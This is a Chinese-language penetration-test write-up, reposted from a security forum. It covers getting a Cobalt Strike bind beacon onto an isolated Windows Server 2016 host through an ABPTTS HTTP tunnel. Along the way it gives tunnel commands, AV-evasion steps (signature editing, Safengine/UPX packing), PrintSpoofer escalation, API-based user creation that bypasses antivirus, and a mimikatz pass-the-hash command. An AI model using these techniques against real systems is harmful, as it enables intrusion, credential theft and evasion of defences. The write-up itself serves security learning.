实战|内网渗透--突破安全策略上线CS

admin 2021年10月29日00:30:50安全文章评论69 views5447字阅读18分9秒阅读模式

作者:1frame,授权转载于先知社区。原文:https://xz.aliyun.com/t/10410

前言

本文为一篇利用非常规手段突破安全策略的内网渗透记录

环境简述&说明

  • web打点getshell,webshell是冰蝎,权限为.net,权限很低,服务器为server 2016,目标不出网!

    实战|内网渗透--突破安全策略上线CS

  • 装有杀毒软件(火绒、微软自带的WD),ASMI默认开启,而且对power shell有特殊策略限制。

    实战|内网渗透--突破安全策略上线CS

  • Tcp、icmp、DNS协议不通,无法直接与公网的cs服务端建立连接,(内网的cs服务端也无法与其建立连接)公网也无法访问目标web服务(纯内网web服务)

  • 极其严格的出入站策略
    入站规则:只有http允许入站,只有一个80、8080两http端口能供内网机器正常访问
    出站规则:不允许非8080端口对外通讯。
    手绘了一张拓扑图,将就着看一下。


    实战|内网渗透--突破安全策略上线CS

为什么要上线cs


webshell权限太低,限制性大,需要上线cs提权,因为cs是采用反射dll来加载pe程序,从而在执行一些敏感操作的时候能起到一定的bypass作用,例如mimikatz抓密码等操作。
像转储LSA到本地然后再dumphash都是行不通的,因为webshell权限太低了,转储LSA至少得管理员权限。
而且目标网络环境较为苛刻,任何非http协议的通讯都会被防火墙拦截,无法正常建立一个具有交互功能的shell。

坑点一:利用Pystinger反向代理上线cs

在查阅相关资料后,发现网上大部分文章都通过Pystinger来实现内网反向代理,利用http协议将目标机器端口映射至cs服务端监听端口,能在只能访问web服务且不出网的情况下可以使其上线cs。

但是这里有个问题,公网cs服务器无法访问目标的web服务,只有同处于在一个内网的机器才能访问目标web服务,所以无法直接在服务器上搭建pystinger将目标机端口反向代理至公网cs监听端口上。
这里采用的解决方法是直接在本机上搭建一个cs服务,然后再进行pystinger反代操作。

实战|内网渗透--突破安全策略上线CS

  1. 本地起一个cs服务


    实战|内网渗透--突破安全策略上线CS


  2. 常规配置reserver型监听器,监听端口60020(上面图中6002少写了个0...)

  3. proxy.aspx上传至目标服务器,访问:


    实战|内网渗透--突破安全策略上线CS


  4. stinger_server.exe 上传到目标服务器,执行命令:

    start D:stinger_server.exe 0.0.0.0

实战|内网渗透--突破安全策略上线CS


5.跳板机本地执行命令:

stinger_client -w http://10.1.1.1:8080/2.aspx-l 0.0.0.0 -p 4002


实战|内网渗透--突破安全策略上线CS


6.免杀处理一下resever_bind,上传至目标并执行不上线,执行一下tasklist发现shell.exe已经执行了,就是不上线,pystinger报错。


实战|内网渗透--突破安全策略上线CS


最后的结果是,报错,具体原因不知道,可能是目标web环境有问题,可能是reserver型shell通讯有问题。
遂Pystinger反代上线cs失败。

坑点二:正向代理+正向shell上线公网CS


既然反向代理行不通,那就用正向代理,然后采用正向shell来连接。
目标机器不出网,本机能出网,可通过本机当作跳板机将目标机器的正向shell带出来。
原理图:


实战|内网渗透--突破安全策略上线CS

常见的http隧道工具Neo-reGeorg、reGeorg(应该这两款用的比较多)能适用于大多数网络环境,但是在这里就是不行,会出现跳板机直接与cs服务器断开的情况,而cs的connect正向连接请求是由跳板机的beacon发出的,你只能将beacon代理进socks隧道才能使connect请求能连接正向shell的监听端口,但因为目标机不出网,在跳板机的beacon进入代理隧道之后是无法连接到处于公网的cs服务端的,所以只能是端口对端口映射,而不能用http协议搭建的socks隧道(我猜的)。

所以这里将使用ABPTTS进行http隧道搭建。

  • ABPTTS优点
    对抗特征检测十分优秀
    创建的隧道十分稳定

1、 配置abptts:

python abpttsfactory.py -o server \生成服务端脚本,初始化。


实战|内网渗透--突破安全策略上线CS

2、 上传server脚本到目标机器

坑点三:文件上传


这个地方冰蝎、大马都传文件传不上去,只能用哥斯拉的大文件上传把abptts.aspx传了上去(后面exe的上传也是用的哥斯拉的大文件上传功能)exe文件落地也是个坑,在正常环境中,我们可以用certutil、powershell等方法下载exe到目标上,但是这台机器他不出网,因为出站规则的原因,甚至都无法访问内网中其他机器的web服务器,最后用哥斯拉的大文件上传解决了这个问题。

实战|内网渗透--突破安全策略上线CS


上传完成之后的abptts.aspx地址:http://10.1.1.1:8080/abptts.aspx
访问一下abptts.aspx,页面回显一长串密文说明abptts客户端正常

实战|内网渗透--突破安全策略上线CS

3、 启动http隧道

Python abpttsclient.py -c server/config.txt -u "http://10.1.1.1:8080/abptts.aspx"-f 127.0.0.1:7777/127.0.0.1:1111

这里的127.0.0.1:7777是本机端口,127.0.0.1:1111是目标机的端口
意思是将目标机的1111端口通过http隧道映射至本机的7777端口,你向本地的7777端口发送的请求都将转发至目标机的1111端口。

实战|内网渗透--突破安全策略上线CS

坑点四:正向Bind免杀

Cs的正向shell介绍(beacon tcp)


正向shell的作用原理是,bind在目标机器上开放一个监听端口,等待其他主机来访问这个监听端口,子Beacon从父Beacon接受请求,而不是直接与cs服务端通讯。
而反向shell则是,由目标发起请求访问cs服务端的监听端口

  1. 创建一个正向监听器:


    实战|内网渗透--突破安全策略上线CS


  2. 生成正向载荷(在生成正向载荷的时候只能选择stageless Beacon ):

实战|内网渗透--突破安全策略上线CS

为什么使用正向shell:


假若目标机器的出站规则十分严格且目标也不出网,反向shell在这种情况下则无法正常与cs服务端保持通讯。
假若采用正向shell的话,在无论他的入站规则多严格,他也不会去阻止本地端口之间的通讯,这样就能绕过严格的出入站规则策略。

  • 通讯过程:

    Cs服务端(公网)--> 跳板机(父baecon)--> 7777端口--> 目标8080端口(http隧道)--> 目标1111端口(子baecon)


    实战|内网渗透--突破安全策略上线CS


  • Bypass分析

    在目标机的防火墙眼中是本地的8080端口与本地的1111端口通讯,而攻击机与目标的8080端口则是正常被允许的交互行为,从而bypass了出入站策略。

正向Bind免杀

上面有提到过目标上有火绒和WD两款杀毒,直接上传正向shell肯定是会被秒杀的,本地测试报毒。

实战|内网渗透--突破安全策略上线CS

Reserver_Bind免杀较为简单,直接生成shellcode,通过分离免杀等方法加载shellcode。
但是正向shell不能生成shellcode,它属于
stageless型Beacon,而stageless型Beacon无法生成shellcode,所以无法通过常规的分离式免杀来绕过杀毒。

  • 提一下stagerstagerless的区别:
    stager和stagerless型beacon

  • Stager型:只包含简单的加载逻辑部分,stager通过将c2的payload加载进内存从而实现pe加载,这种加载方式也就是反射型DLL加载。

  • Stagerless型:stager+payload全写死在木马中,相比较于Stager型体积更大,特征码更明显。
    由下图可以看到,在生成payload的时候没有正向bind监听器这个选项,只有Reserver监听器选项。


    实战|内网渗透--突破安全策略上线CS


  • 既然无法通过混淆加载器的方法来免杀,那就加强壳+定位特征码的方法来免杀。

    国内大部分杀软估计都是基于模糊hash算法的特征码查杀,对代码层强混淆几乎就能绕过大部分杀毒,强壳(ASPack、upx、Safengine、VMPoject,实测Aspack、upx效果不是很好)。

    主要用到的工具:
    VirTest5.0Resource Hacker +SafengineShielden+upx

  • VirTest5.0:
    自动化定位特征码,因为不会汇编,所以就直接用010Editor修改特征码的十六进制来破环特征码。

实战|内网渗透--突破安全策略上线CS


  • SafengineShielden
    反LPK注入、反调试器附加、反内存转储选上,复杂度拉满,虚拟机检测不要打勾。

    实战|内网渗透--突破安全策略上线CS


    最后加一层upx壳(upx壳视情况而定,有时候加了upx壳反而会被杀),Resource Hacker加入一个任意图标文件,成功过掉火绒。

目标机运行正向shell

上传正向bind,在冰蝎上执行 D:/beacon_se.exe,可以看到木马在目标机上开启了1111端口,我们通过http隧道去连接这个位于目标机1111端口上的正向bind。

实战|内网渗透--突破安全策略上线CS

本机(跳板)正向连接shell

本机(攻击者)上线cs作为跳板机,然后在本机shell中执行

connect 127.0.0.1 7777


实战|内网渗透--突破安全策略上线CS

成功正向上线 10.1.1.1,但是上线的shell权限极低,mimikatz无法运行,因为正向shell的原因,就算提权成功也无法直接反弹shell,而且因为目标系统是2016,插件中的常见提权脚本都会提权失败。

实战|内网渗透--突破安全策略上线CS

PrintSpoofer提权

上传PrintSpoofer.exe至目标主机。

实战|内网渗透--突破安全策略上线CS

执行如下命令,以system的权限运行我的正向shell,那么我将得到一个system权限的shell,而不是asp的低权限shell。

C:WindowsTempPrintSpoofer -c D:/1111_se.exe


实战|内网渗透--突破安全策略上线CS

Netstat -ano确认一下有没有在本地开放一个1111端口。

实战|内网渗透--突破安全策略上线CS

正向shell正常运行,跳板机再次连接正向bind。

connect 127.0.0.1 7777


实战|内网渗透--突破安全策略上线CS

成功提权,渗透至此已基本结束战斗,得到一个system权限的正向shell,mimikatz抓密码,无明文,但能拿到hash。

实战|内网渗透--突破安全策略上线CS

绕过杀毒添加用户&&登录桌面

Net1改名添加用户,报错,必然是被火绒拦截了,上杀器直接驱动层干杀软。

实战|内网渗透--突破安全策略上线CS

本地实验能干掉,但是不知道为什么在目标上就实现不了。

换思路:火绒、360等国内杀毒拦截添加用户命令往往只针对
netnet1这俩进程,并没有hook底层函数,所以我们只需要不去执行net、net1而去直接调用底层函数就能绕过杀毒的监控。

原理不去深度刨析了,网上有文章。

  • Windows API 添加管理员用户
    项目地址:https://github.com/newsoft/adduser
    绕过杀毒添加上了一个用户,接下来就是常规操作,用打印机漏洞提权,利用sys权限切换到adminsitrator用户的桌面。

  • hash传递攻击
    再或者就是hash传递,直接上adminsitrator的桌面。

    sekurlsa::pth /user:Administrator /domain:用户名 /ntlm:194f34439dd27846db00c6723036da6b "/run:mstsc.exe /restrictedadmin"194f34439dd27846db00c6723036da6b


    Hash传递的好处就是,动静更小,不需要新建用户,留下的痕迹更少,降低攻击者被发现的概率。

    如下图::


    实战|内网渗透--突破安全策略上线CS


    跟上面操作一样,把对方的3389端口反向代理至本地,连接之。
    最后附上登录的桌面的截图,登上来就是一个backstab的报错,这刚好就解释了之前在干火绒的时候,为什么没有kill成功(因为程序兼容性问题导致崩溃了)。


    实战|内网渗透--突破安全策略上线CS

结尾

总结一下整个渗透过程中有趣的几个点,整个流程大概花了两天的时间,主要是有几个地方踩坑了。

  1. 第一点:写http隧道马的时候,用哥斯拉直接编辑新建一个隧道马,但是连接的时候报错,可能是哥斯拉出现了数据断流,导致写进去的文件缺东西了,后来直接把隧道马传上去就不报错了。

  2. 第二点:网上的例子大多数都用pystinger反代cs服务端来处理这种不出网上线cs的情况,但是可能因为目标网络环境的不一样导致各种玄学报错,所以Pystinger的局限性还是很大的,而且Pystinger客户端还不免杀。

  3. 第三点:正向shell免杀,不多说的,cs的无阶段木马都是这样,无法通过混淆加载器的方法免杀。

  4. 第四点:正向shell的提权,cs插件提权只能反弹一个反射型的shell,无法反弹正向shell。

  5. 第五点:有趣的是,无阶段木马是能生成powershell脚本的,而powershell脚本是很好混淆免杀的,但是目标是server2016,默认开启AMSI,混淆免杀在它面前形同虚设。(要是目标是2012、2008系统就可以通过powershell正向bind上线)

结尾的结尾

本还可以尝试msf的正向bind,自带混淆器,效果可能更好。
本次渗透是在获得授权的真实环境中进行的。
在利用pystinger反向代理套反向shell失败的情况下,改用正向代理中套正向shell来上线不出网主机。


作者:1frame,文章来源于先知社区

实战|内网渗透--突破安全策略上线CS

1. 红蓝演习之网络钓鱼篇

2. 10个Web日志安全性分析工具

3. 红蓝攻防演练资产收集小工具

4. 任意文件上传之绕过云waf+本地防火墙双重防护

5.一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

6.红蓝对抗之溯源

推荐阅读实战|内网渗透--突破安全策略上线CS

点个赞、在看、分享,求三连

原文始发于微信公众号(乌雲安全):实战|内网渗透--突破安全策略上线CS

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月29日00:30:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  实战|内网渗透--突破安全策略上线CS http://cn-sec.com/archives/605431.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: